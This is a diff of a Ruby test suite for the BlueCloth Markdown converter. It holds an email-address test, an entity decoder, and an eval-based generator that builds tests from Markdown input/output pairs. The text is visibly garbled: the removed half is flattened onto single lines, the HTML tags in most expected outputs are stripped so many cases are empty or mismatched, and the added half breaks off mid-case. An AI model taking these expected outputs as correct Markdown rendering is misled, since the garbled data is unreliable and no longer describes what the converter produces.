# info@ko.de - # jemand@bro.de - # irgendwo-interreant@dgta.se - #] - - def test_10_email_address - printTestHeader "BlueCloth: Inline email address" - rval = match = nil - - Emails.each {|addr| - assert_nothing_raised { - rval = BlueCloth::new( "<#{addr}>" ).to_html - } - - match = %r{

        [^<]+

        }.match( rval ) - assert_not_nil match, "Match against output #{rval}" - assert_equal "mailto:#{addr}", decode( match[1] ) - } - end - - - def decode( str ) - str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| - code = $1 - debugMsg "Decoding %p" % code - - case code - when /^x([a-f0-9]+)/i - debugMsg " (hex) = %p" % $1.to_i(16).chr - $1.to_i(16).chr - when /\d{3}/ - debugMsg " (oct) = %p" % code.to_i.chr - code.to_i.chr - else - raise "Hmmm... malformed entity %p" % code - end - } - end - - - - ################################################################# - ### A U T O - G E N E R A T E D T E S T S - ################################################################# - - # Parse the data section into a hash of test specifications - TestSets = {} - begin - seenEnd = false - inMetaSection = true - inInputSection = true - section, description, input, output = '', '', '', '' - linenum = 0 - - # Read this file, skipping lines until the __END__ token. Then start - # reading the tests. - File::foreach( __FILE__ ) {|line| - linenum += 1 - if /^__END__/ =~ line then seenEnd = true; next end - debugMsg "#{linenum}: #{line.chomp}" - next unless seenEnd - - # Start off in the meta section, which has sections and - # descriptions. - if inMetaSection - - case line - - # Left angles switch into data section for the current section - # and description. - when /^<< linenum, - :sets => [], - } - - end - - # Data section has input and expected output parts - else - - case line - - # Right angles terminate a data section, at which point we - # should have enough data to add a test. - when /^>>>/ - TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] - - inMetaSection = true - inInputSection = true - input = ''; output = '' - - # 3-Dashed divider with text divides input from output - when /^--- (.+)/ - inInputSection = false - - # Anything else adds to either input or output - else - if inInputSection - input += line - else - output += line - end - end - end - } - end - - debugMsg "Test sets: %p" % TestSets - - # Auto-generate tests out of the test specifications - TestSets.each {|sname, section| - - # Generate a test method for each section - section.each do |desc, test| - methname = "test_%03d_%s" % - [ test[:line], desc.gsub(/\W+/, '_').downcase ] - - # Header - code = %{ - def #{methname} - printTestHeader "BlueCloth: #{desc}" - rval = nil - } - - # An assertion for each input/output pair - test[:sets].each {|input, output| - code << %{ - assert_nothing_raised { - obj = BlueCloth::new(%p) - rval = obj.to_html - } - assert_equal %p, rval - - } % [ input, output ] - } - - code << %{ - end - } - - - debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] - eval code - end - - } - -end - - -__END__ - -### [Paragraphs and Line Breaks] - -# Paragraphs -<<< -This is some stuff that should all be -put in one paragraph -even though -it occurs over several lines. - -And this is a another -one. ---- Should become: -

        This is some stuff that should all be -put in one paragraph -even though -it occurs over several lines.

        - -

        And this is a another -one.

        ->>> - -# Line breaks -<<< -Mostly the same kind of thing -with two spaces at the end -of each line -should result in -line breaks, though. - -And this is a another -one. ---- Should become: -

        Mostly the same kind of thing
        -with two spaces at the end
        -of each line
        -should result in
        -line breaks, though.

        - -

        And this is a another
        -one.

        ->>> - -# Escaping special characters -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

        The left shift operator, which is written as <<, is often used & greatly admired.

        ->>> - -# Preservation of named entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

        The left shift operator, which is written as <<, is often used & greatly admired.

        ->>> - -# Preservation of decimal-encoded entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

        The left shift operator, which is written as <<, is often used & greatly admired.

        ->>> - -# Preservation of hex-encoded entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

        The left shift operator, which is written as <<, is often used & greatly admired.

        ->>> - -# Inline HTML - table tags -<<< -This is a regular paragraph. - - - - - -
        Foo
        - -This is another regular paragraph. ---- Should become: -

        This is a regular paragraph.

        - - - - - -
        Foo
        - -

        This is another regular paragraph.

        ->>> - -# Inline HTML - div tags -<<< -This is a regular paragraph. - -
        - Something -
        -Something else. ---- Should become: -

        This is a regular paragraph.

        - -
        - Something -
        - -

        Something else.

        ->>> - - -# Inline HTML - Plain HR -<<< -This is a regular paragraph. - -
        - -Something else. ---- Should become: -

        This is a regular paragraph.

        - -
        - -

        Something else.

        ->>> - - -# Inline HTML - Fancy HR -<<< -This is a regular paragraph. - -
        - -Something else. ---- Should become: -

        This is a regular paragraph.

        - -
        - -

        Something else.

        ->>> - - -# Inline HTML - Iframe -<<< -This is a regular paragraph. - - - -Something else. ---- Should become: -

        This is a regular paragraph.

        - - - -

        Something else.

        ->>> - - -# Inline HTML - mathml -<<< -Examples --------- - -Now that we have met some of the key players, it is time to see what we can -do. Here are some examples and comments which illustrate the use of the basic -layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic -MathML presentation encoding for this would be: - - - - - x - 2 - - + - 4 - x - + - 4 - = - 0 - - - -This encoding will display as you would expect. However, if we were interested -in reusing this expression in unknown situations, we would likely want to spend -a little more effort analyzing and encoding the logical expression structure. - ---- Should become: -

        Examples

        - -

        Now that we have met some of the key players, it is time to see what we can -do. Here are some examples and comments which illustrate the use of the basic -layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic -MathML presentation encoding for this would be:

        - - - - - x - 2 - - + - 4 - x - + - 4 - = - 0 - - - -

        This encoding will display as you would expect. However, if we were interested -in reusing this expression in unknown situations, we would likely want to spend -a little more effort analyzing and encoding the logical expression structure.

        ->>> - - -# Span-level HTML -<<< -This is some stuff with a spanned bit of text in -it. And this *should* be a bit of deleted text which should be -preserved, and part of it emphasized. ---- Should become: -

        This is some stuff with a spanned bit of text in -it. And this should be a bit of deleted text which should be -preserved, and part of it emphasized.

        ->>> - -# Inline HTML (Case-sensitivity) -<<< -This is a regular paragraph. - - - - - -
        Foo
        - -This is another regular paragraph. ---- Should become: -

        This is a regular paragraph.

        - - - - - -
        Foo
        - -

        This is another regular paragraph.

        ->>> - -# Span-level HTML (Case-sensitivity) -<<< -This is some stuff with a spanned bit of text in -it. And this *should* be a bit of deleted text which should be -preserved, and part of it emphasized. ---- Should become: -

        This is some stuff with a spanned bit of text in -it. And this should be a bit of deleted text which should be -preserved, and part of it emphasized.

        ->>> - - - -### [Code spans] - -# Single backtick -<<< -Making `code` work for you ---- Should become: -

        Making code work for you

        ->>> - -# Literal backtick with doubling -<<< -Making `` `code` `` work for you ---- Should become: -

        Making `code` work for you

        ->>> - -# Many repetitions -<<< -Making `````code````` work for you ---- Should become: -

        Making code work for you

        ->>> - -# Two in a row -<<< -This `thing` should be `two` spans. ---- Should become: -

        This thing should be two spans.

        ->>> - -# At the beginning of a newline -<<< -I should think that the -`tar` command would be universal. ---- Should become: -

        I should think that the -tar command would be universal.

        ->>> - -# Entity escaping -<<< -The left angle-bracket (`<`) can also be written as a decimal-encoded -(`<`) or hex-encoded (`<`) entity. ---- Should become: -

        The left angle-bracket (&lt;) can also be written as a decimal-encoded -(&#060;) or hex-encoded (&#x3c;) entity.

        ->>> - -# At the beginning of a document (Bug #525) -<<< -`world` views ---- Should become: -

        world views

        ->>> - - - - -### [Code blocks] - -# Para plus code block (literal tab) -<<< -This is a chunk of code: - - some.code > some.other_code - -Some stuff. ---- Should become: -

        This is a chunk of code:

        - -
        some.code > some.other_code
        -
        - -

        Some stuff.

        ->>> - -# Para plus code block (literal tab, no colon) -<<< -This is a chunk of code - - some.code > some.other_code - -Some stuff. ---- Should become: -

        This is a chunk of code

        - -
        some.code > some.other_code
        -
        - -

        Some stuff.

        ->>> - -# Para plus code block (tab-width spaces) -<<< -This is a chunk of code: - - some.code > some.other_code - -Some stuff. ---- Should become: -

        This is a chunk of code:

        - -
        some.code > some.other_code
        -
        - -

        Some stuff.

        ->>> - -# Para plus code block (tab-width spaces, no colon) -<<< -This is a chunk of code - - some.code > some.other_code - -Some stuff. ---- Should become: -

        This is a chunk of code

        - -
        some.code > some.other_code
        -
        - -

        Some stuff.

        ->>> - -# Colon with preceeding space -<<< -A regular paragraph, without a colon. : - - This is a code block. - -Some stuff. ---- Should become: -

        A regular paragraph, without a colon. :

        - -
        This is a code block.
        -
        - -

        Some stuff.

        ->>> - -# Single colon -<<< -: - - some.code > some.other_code - -Some stuff. ---- Should become: -

        :

        - -
        some.code > some.other_code
        -
        - -

        Some stuff.

        ->>> - -# Preserve leading whitespace (Bug #541) -<<< -Examples: - - # (Waste character because first line is flush left !!!) - # Example script1 - x = 1 - x += 1 - puts x - -Some stuff. ---- Should become: -

        Examples:

        - -
              # (Waste character because first line is flush left !!!)
        -      # Example script1
        -      x = 1
        -      x += 1
        -      puts x
        -
        - -

        Some stuff.

        ->>> - - -### [Horizontal Rules] - -# Hrule 1 -<<< -* * * ---- Should become: -
        ->>> - -# Hrule 2 -<<< -*** ---- Should become: -
        ->>> - -# Hrule 3 -<<< -***** ---- Should become: -
        ->>> - -# Hrule 4 -<<< -- - - ---- Should become: -
        ->>> - -# Hrule 5 -<<< ---------------------------------------- ---- Should become: -
        ->>> - - -### [Titles] - -# setext-style h1 -<<< -Title Text -= ---- Should become: -

        Title Text

        ->>> - -<<< -Title Text -=== ---- Should become: -

        Title Text

        ->>> - -<<< -Title Text -========== ---- Should become: -

        Title Text

        ->>> - -# setext-style h2 -<<< -Title Text -- ---- Should become: -

        Title Text

        ->>> - -<<< -Title Text ---- ---- Should become: -

        Title Text

        ->>> - -<<< -Title Text ----------- ---- Should become: -

        Title Text

        ->>> - -# ATX-style h1 -<<< -# Title Text ---- Should become: -

        Title Text

        ->>> - -<<< -# Title Text # ---- Should become: -

        Title Text

        ->>> - -<<< -# Title Text ### ---- Should become: -

        Title Text

        ->>> - -<<< -# Title Text ##### ---- Should become: -

        Title Text

        ->>> - -# ATX-style h2 -<<< -## Title Text ---- Should become: -

        Title Text

        ->>> - -<<< -## Title Text # ---- Should become: -

        Title Text

        ->>> - -<<< -## Title Text ### ---- Should become: -

        Title Text

        ->>> - -<<< -## Title Text ##### ---- Should become: -

        Title Text

        ->>> - -# ATX-style h3 -<<< -### Title Text ---- Should become: -

        Title Text

        ->>> - -<<< -### Title Text # ---- Should become: -

        Title Text

        ->>> - -<<< -### Title Text ### ---- Should become: -

        Title Text

        ->>> - -<<< -### Title Text ##### ---- Should become: -

        Title Text

        ->>> - -# ATX-style h4 -<<< -#### Title Text ---- Should become: -

        Title Text

        ->>> - -<<< -#### Title Text # ---- Should become: -

        Title Text

        ->>> - -<<< -#### Title Text ### ---- Should become: -

        Title Text

        ->>> - -<<< -#### Title Text ##### ---- Should become: -

        Title Text

        ->>> - -# ATX-style h5 -<<< -##### Title Text ---- Should become: -
        Title Text
        ->>> - -<<< -##### Title Text # ---- Should become: -
        Title Text
        ->>> - -<<< -##### Title Text ### ---- Should become: -
        Title Text
        ->>> - -<<< -##### Title Text ##### ---- Should become: -
        Title Text
        ->>> - -# ATX-style h6 -<<< -###### Title Text ---- Should become: -
        Title Text
        ->>> - -<<< -###### Title Text # ---- Should become: -
        Title Text
        ->>> - -<<< -###### Title Text ### ---- Should become: -
        Title Text
        ->>> - -<<< -###### Title Text ##### ---- Should become: -
        Title Text
        ->>> - - -### [Blockquotes] - -# Regular 1-level blockquotes -<<< -> Email-style angle brackets -> are used for blockquotes. ---- Should become: -
        -

        Email-style angle brackets - are used for blockquotes.

        -
        ->>> - -# Doubled blockquotes -<<< -> > And, they can be nested. ---- Should become: -
        -
        -

        And, they can be nested.

        -
        -
        ->>> - -# Nested blockquotes -<<< -> Email-style angle brackets -> are used for blockquotes. - -> > And, they can be nested. ---- Should become: -
        -

        Email-style angle brackets - are used for blockquotes.

        - -
        -

        And, they can be nested.

        -
        -
        ->>> - -# Lazy blockquotes -<<< -> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, -consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. -Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. - -> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse -id sem consectetuer libero luctus adipiscing. ---- Should become: -
        -

        This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

        - -

        Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - id sem consectetuer libero luctus adipiscing.

        -
        ->>> - - -# Blockquotes containing other markdown elements -<<< -> ## This is a header. -> -> 1. This is the first list item. -> 2. This is the second list item. -> -> Here's some example code: -> -> return shell_exec("echo $input | $markdown_script"); ---- Should become: -
        -

        This is a header.

        - -
          -
        1. This is the first list item.
        2. -
        3. This is the second list item.
        4. -
        - -

        Here's some example code:

        - -
        return shell_exec("echo $input | $markdown_script");
        -
        -
        ->>> - -# Blockquotes with a
         section
        -<<<
        -> The best approximation of the problem is the following code:
        ->
        -> 
        -> foo + bar; foo.factorize; foo.display
        -> 
        -> -> This should result in an error on any little-endian platform. ---- Should become: -
        -

        The best approximation of the problem is the following code:

        - -
        -foo + bar; foo.factorize; foo.display
        -
        - -

        This should result in an error on any little-endian platform.

        -
        ->>> - - - -### [Images] - -# Inline image with title -<<< -![alt text](/path/img.jpg "Title") ---- Should become: -

        alt text

        ->>> - -# Inline image with title (single-quotes) -<<< -![alt text](/path/img.jpg 'Title') ---- Should become: -

        alt text

        ->>> - -# Inline image with title (with embedded quotes) -<<< -![alt text](/path/img.jpg 'The "Title" Image') ---- Should become: -

        alt text

        ->>> - -# Inline image without title -<<< -![alt text](/path/img.jpg) ---- Should become: -

        alt text

        ->>> - -# Inline image with quoted alt text -<<< -![the "alt text"](/path/img.jpg) ---- Should become: -

        the "alt text"

        ->>> - - -# Reference image -<<< -![alt text][id] - -[id]: /url/to/img.jpg "Title" ---- Should become: -

        alt text

        ->>> - - - -### [Emphasis] - -# Emphasis () with asterisks -<<< -Use *single splats* for emphasis. ---- Should become: -

        Use single splats for emphasis.

        ->>> - -# Emphasis () with underscores -<<< -Use *underscores* for emphasis. ---- Should become: -

        Use underscores for emphasis.

        ->>> - -# Strong emphasis () with asterisks -<<< -Use **double splats** for more emphasis. ---- Should become: -

        Use double splats for more emphasis.

        ->>> - -# Strong emphasis () with underscores -<<< -Use __doubled underscores__ for more emphasis. ---- Should become: -

        Use doubled underscores for more emphasis.

        ->>> - -# Combined emphasis types 1 -<<< -Use *single splats* or _single unders_ for normal emphasis. ---- Should become: -

        Use single splats or single unders for normal emphasis.

        ->>> - -# Combined emphasis types 2 -<<< -Use _single unders_ for normal emphasis -or __double them__ for strong emphasis. ---- Should become: -

        Use single unders for normal emphasis -or double them for strong emphasis.

        ->>> - -# Emphasis containing escaped metachars -<<< -You can include literal *\*splats\** by escaping them. ---- Should become: -

        You can include literal *splats* by escaping them.

        ->>> - -# Two instances of asterisked emphasis on one line -<<< -If there's *two* splatted parts on a *single line* it should still work. ---- Should become: -

        If there's two splatted parts on a single line it should still work.

        ->>> - -# Two instances of double asterisked emphasis on one line -<<< -This **doubled** one should **work too**. ---- Should become: -

        This doubled one should work too.

        ->>> - -# Two instances of underscore emphasis on one line -<<< -If there's _two_ underbarred parts on a _single line_ it should still work. ---- Should become: -

        If there's two underbarred parts on a single line it should still work.

        ->>> - -# Two instances of doubled underscore emphasis on one line -<<< -This __doubled__ one should __work too__. ---- Should become: -

        This doubled one should work too.

        ->>> - -# Initial emphasis (asterisk) -<<< -*Something* like this should be bold. ---- Should become: -

        Something like this should be bold.

        ->>> - -# Initial emphasis (underscore) -<<< -_Something_ like this should be bold. ---- Should become: -

        Something like this should be bold.

        ->>> - -# Initial strong emphasis (asterisk) -<<< -**Something** like this should be bold. ---- Should become: -

        Something like this should be bold.

        ->>> - -# Initial strong emphasis (underscore) -<<< -__Something__ like this should be bold. ---- Should become: -

        Something like this should be bold.

        ->>> - -# Partial-word emphasis (Bug #568) -<<< -**E**xtended **TURN** ---- Should become: -

        Extended TURN

        ->>> - - - -### [Links] - -# Inline link, no title -<<< -An [example](http://url.com/). ---- Should become: -

        An example.

        ->>> - -# Inline link with title -<<< -An [example](http://url.com/ "Check out url.com!"). ---- Should become: -

        An example.

        ->>> - -# Reference-style link, no title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ ---- Should become: -

        An example reference-style link.

        ->>> - -# Reference-style link with quoted title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ "Check out our air." ---- Should become: -

        An example reference-style link.

        ->>> - -# Reference-style link with paren title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ (Check out our air.) ---- Should become: -

        An example reference-style link.

        ->>> - -# Reference-style link with one of each (hehe) -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ "Check out our air.) ---- Should become: -

        An example reference-style link.

        ->>> - -" <- For syntax highlighting - -# Reference-style link with intervening space -<<< -You can split the [linked part] [ex] from -the reference part with a single space. - -[ex]: http://www.treefrog.com/ "for some reason" ---- Should become: -

        You can split the linked part from -the reference part with a single space.

        ->>> - -# Reference-style link with intervening space -<<< -You can split the [linked part] - [ex] from the reference part -with a newline in case your editor wraps it there, I guess. - -[ex]: http://www.treefrog.com/ ---- Should become: -

        You can split the linked part from the reference part -with a newline in case your editor wraps it there, I guess.

        ->>> - -# Reference-style anchors -<<< -I get 10 times more traffic from [Google] [1] than from -[Yahoo] [2] or [MSN] [3]. - - [1]: http://google.com/ "Google" - [2]: http://search.yahoo.com/ "Yahoo Search" - [3]: http://search.msn.com/ "MSN Search" ---- Should become: -

        I get 10 times more traffic from Google than from -Yahoo or MSN.

        ->>> - -# Implicit name-link shortcut anchors -<<< -I get 10 times more traffic from [Google][] than from -[Yahoo][] or [MSN][]. - - [google]: http://google.com/ "Google" - [yahoo]: http://search.yahoo.com/ "Yahoo Search" - [msn]: http://search.msn.com/ "MSN Search" ---- Should become: -

        I get 10 times more traffic from Google than from -Yahoo or MSN.

        ->>> - -# Inline anchors -<<< -I get 10 times more traffic from [Google](http://google.com/ "Google") -than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or -[MSN](http://search.msn.com/ "MSN Search"). ---- Should become: -

        I get 10 times more traffic from Google -than from Yahoo or -MSN.

        ->>> - -# Graceful fail for unclosed brackets (and bug #524) -<<< -This is just a [bracket opener; it should fail gracefully. ---- Should become: -

        This is just a [bracket opener; it should fail gracefully.

        ->>> - -# Unresolved reference-style links (Bug #620) -<<< -This is an unresolved [url][1]. ---- Should become: -

        This is an unresolved [url][1].

        ->>> - - -### [Auto-links] - -# Plain HTTP link -<<< -This is a reference to . You should follow it. ---- Should become: -

        This is a reference to http://www.FaerieMUD.org/. You should follow it.

        ->>> - -# FTP link -<<< -Why not download your very own chandelier from ? ---- Should become: -

        Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

        ->>> - - -### [Lists] - -# Unordered list -<<< -* Red -* Green -* Blue ---- Should become: -
          -
        • Red
        • -
        • Green
        • -
        • Blue
        • -
        ->>> - -# Unordered list w/alt bullets -<<< -- Red -- Green -- Blue ---- Should become: -
          -
        • Red
        • -
        • Green
        • -
        • Blue
        • -
        ->>> - -# Unordered list w/alt bullets 2 -<<< -+ Red -+ Green -+ Blue ---- Should become: -
          -
        • Red
        • -
        • Green
        • -
        • Blue
        • -
        ->>> - -# Unordered list w/mixed bullets -<<< -+ Red -- Green -* Blue ---- Should become: -
          -
        • Red
        • -
        • Green
        • -
        • Blue
        • -
        ->>> - -# Ordered list -<<< -1. Bird -2. McHale -3. Parish ---- Should become: -
          -
        1. Bird
        2. -
        3. McHale
        4. -
        5. Parish
        6. -
        ->>> - -# Ordered list, any numbers -<<< -1. Bird -1. McHale -1. Parish ---- Should become: -
          -
        1. Bird
        2. -
        3. McHale
        4. -
        5. Parish
        6. -
        ->>> - -# Ordered list, any numbers 2 -<<< -3. Bird -1. McHale -8. Parish ---- Should become: -
          -
        1. Bird
        2. -
        3. McHale
        4. -
        5. Parish
        6. -
        ->>> - -# Hanging indents -<<< -* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. - Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, - viverra nec, fringilla in, laoreet vitae, risus. -* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. - Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
          -
        • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus.
        • -
        • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing.
        • -
        ->>> - -# Lazy indents -<<< -* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus. -* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
          -
        • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus.
        • -
        • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing.
        • -
        ->>> - -# Paragraph wrapped list items -<<< -* Bird - -* Magic ---- Should become: -
          -
        • Bird

        • -
        • Magic

        • -
        ->>> - -# Multi-paragraph list items -<<< -1. This is a list item with two paragraphs. Lorem ipsum dolor - sit amet, consectetuer adipiscing elit. Aliquam hendrerit - mi posuere lectus. - - Vestibulum enim wisi, viverra nec, fringilla in, laoreet - vitae, risus. Donec sit amet nisl. Aliquam semper ipsum - sit amet velit. - -2. Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
          -
        1. This is a list item with two paragraphs. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit. Aliquam hendrerit -mi posuere lectus.

          - -

          Vestibulum enim wisi, viverra nec, fringilla in, laoreet -vitae, risus. Donec sit amet nisl. Aliquam semper ipsum -sit amet velit.

        2. -
        3. Suspendisse id sem consectetuer libero luctus adipiscing.

        4. -
        ->>> - -# Lazy multi-paragraphs -<<< -* This is a list item with two paragraphs. - - This is the second paragraph in the list item. You're -only required to indent the first line. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit. - -* Another item in the same list. ---- Should become: -
          -
        • This is a list item with two paragraphs.

          - -

          This is the second paragraph in the list item. You're -only required to indent the first line. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit.

        • -
        • Another item in the same list.

        • -
        ->>> - -# Blockquote in list item -<<< -* A list item with a blockquote: - - > This is a blockquote - > inside a list item. ---- Should become: -
          -
        • A list item with a blockquote:

          - -
          -

          This is a blockquote - inside a list item.

          -
        • -
        ->>> - -# Code block in list item -<<< -* A list item with a code block: - - ---- Should become: -
          -
        • A list item with a code block:

          - -
          <code goes here>
          -
        • -
        ->>> - -# Backslash-escaped number-period-space -<<< -1986\. What a great season. ---- Should become: -

        1986. What a great season.

        ->>> - +#!/usr/bin/ruby +# +# Test case for BlueCloth Markdown transforms. +# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class SubfunctionsTestCase < BlueCloth::TestCase + + ### Test email address output + Emails = %w[ + address@example.com + foo-list-admin@bar.com + fu@bar.COM + baz@ruby-lang.org + foo-tim-bazzle@bar-hop.co.uk + littlestar@twinkle.twinkle.band.CO.ZA + ll@lll.lllll.ll + Ull@Ulll.Ulllll.ll + UUUU1@UU1.UU1UUU.UU + l@ll.ll + Ull.Ullll@llll.ll + Ulll-Ull.Ulllll@ll.ll + 1@111.ll + ] + # I can't see a way to handle IDNs clearly yet, so these will have to wait. + # info@ko.de + # jemand@bro.de + # irgendwo-interreant@dgta.se + #] + + def test_10_email_address + printTestHeader "BlueCloth: Inline email address" + rval = match = nil + + Emails.each {|addr| + assert_nothing_raised { + rval = BlueCloth::new( "<#{addr}>" ).to_html + } + + match = %r{

        [^<]+

        }.match( rval ) + assert_not_nil match, "Match against output #{rval}" + assert_equal "mailto:#{addr}", decode( match[1] ) + } + end + + + def decode( str ) + str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| + code = $1 + debugMsg "Decoding %p" % code + + case code + when /^x([a-f0-9]+)/i + debugMsg " (hex) = %p" % $1.to_i(16).chr + $1.to_i(16).chr + when /\d{3}/ + debugMsg " (oct) = %p" % code.to_i.chr + code.to_i.chr + else + raise "Hmmm... malformed entity %p" % code + end + } + end + + + + ################################################################# + ### A U T O - G E N E R A T E D T E S T S + ################################################################# + + # Parse the data section into a hash of test specifications + TestSets = {} + begin + seenEnd = false + inMetaSection = true + inInputSection = true + section, description, input, output = '', '', '', '' + linenum = 0 + + # Read this file, skipping lines until the __END__ token. Then start + # reading the tests. + File::foreach( __FILE__ ) {|line| + linenum += 1 + if /^__END__/ =~ line then seenEnd = true; next end + debugMsg "#{linenum}: #{line.chomp}" + next unless seenEnd + + # Start off in the meta section, which has sections and + # descriptions. + if inMetaSection + + case line + + # Left angles switch into data section for the current section + # and description. + when /^<< linenum, + :sets => [], + } + + end + + # Data section has input and expected output parts + else + + case line + + # Right angles terminate a data section, at which point we + # should have enough data to add a test. + when /^>>>/ + TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] + + inMetaSection = true + inInputSection = true + input = ''; output = '' + + # 3-Dashed divider with text divides input from output + when /^--- (.+)/ + inInputSection = false + + # Anything else adds to either input or output + else + if inInputSection + input += line + else + output += line + end + end + end + } + end + + debugMsg "Test sets: %p" % TestSets + + # Auto-generate tests out of the test specifications + TestSets.each {|sname, section| + + # Generate a test method for each section + section.each do |desc, test| + methname = "test_%03d_%s" % + [ test[:line], desc.gsub(/\W+/, '_').downcase ] + + # Header + code = %{ + def #{methname} + printTestHeader "BlueCloth: #{desc}" + rval = nil + } + + # An assertion for each input/output pair + test[:sets].each {|input, output| + code << %{ + assert_nothing_raised { + obj = BlueCloth::new(%p) + rval = obj.to_html + } + assert_equal %p, rval + + } % [ input, output ] + } + + code << %{ + end + } + + + debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] + eval code + end + + } + +end + + +__END__ + +### [Paragraphs and Line Breaks] + +# Paragraphs +<<< +This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines. + +And this is a another +one. +--- Should become: +

        This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines.

        + +

        And this is a another +one.

        +>>> + +# Line breaks +<<< +Mostly the same kind of thing +with two spaces at the end +of each line +should result in +line breaks, though. + +And this is a another +one. +--- Should become: +

        Mostly the same kind of thing
        +with two spaces at the end
        +of each line
        +should result in
        +line breaks, though.

        + +

        And this is a another
        +one.

        +>>> + +# Escaping special characters +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

        The left shift operator, which is written as <<, is often used & greatly admired.

        +>>> + +# Preservation of named entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

        The left shift operator, which is written as <<, is often used & greatly admired.

        +>>> + +# Preservation of decimal-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

        The left shift operator, which is written as <<, is often used & greatly admired.

        +>>> + +# Preservation of hex-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

        The left shift operator, which is written as <<, is often used & greatly admired.

        +>>> + +# Inline HTML - table tags +<<< +This is a regular paragraph. + + + + + +
        Foo
        + +This is another regular paragraph. +--- Should become: +

        This is a regular paragraph.

        + + + + + +
        Foo
        + +

        This is another regular paragraph.

        +>>> + +# Inline HTML - div tags +<<< +This is a regular paragraph. + +
        + Something +
        +Something else. +--- Should become: +

        This is a regular paragraph.

        + +
        + Something +
        + +

        Something else.

        +>>> + + +# Inline HTML - Plain HR +<<< +This is a regular paragraph. + +
        + +Something else. +--- Should become: +

        This is a regular paragraph.

        + +
        + +

        Something else.

        +>>> + + +# Inline HTML - Fancy HR +<<< +This is a regular paragraph. + +
        + +Something else. +--- Should become: +

        This is a regular paragraph.

        + +
        + +

        Something else.

        +>>> + + +# Inline HTML - Iframe +<<< +This is a regular paragraph. + + + +Something else. +--- Should become: +

        This is a regular paragraph.

        + + + +

        Something else.

        +>>> + + +# Inline HTML - mathml +<<< +Examples +-------- + +Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be: + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure. + +--- Should become: +

        Examples

        + +

        Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be:

        + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +

        This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure.

        +>>> + + +# Span-level HTML +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

        This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

        +>>> + +# Inline HTML (Case-sensitivity) +<<< +This is a regular paragraph. + + + + + +
        Foo
        + +This is another regular paragraph. +--- Should become: +

        This is a regular paragraph.

        + + + + + +
        Foo
        + +

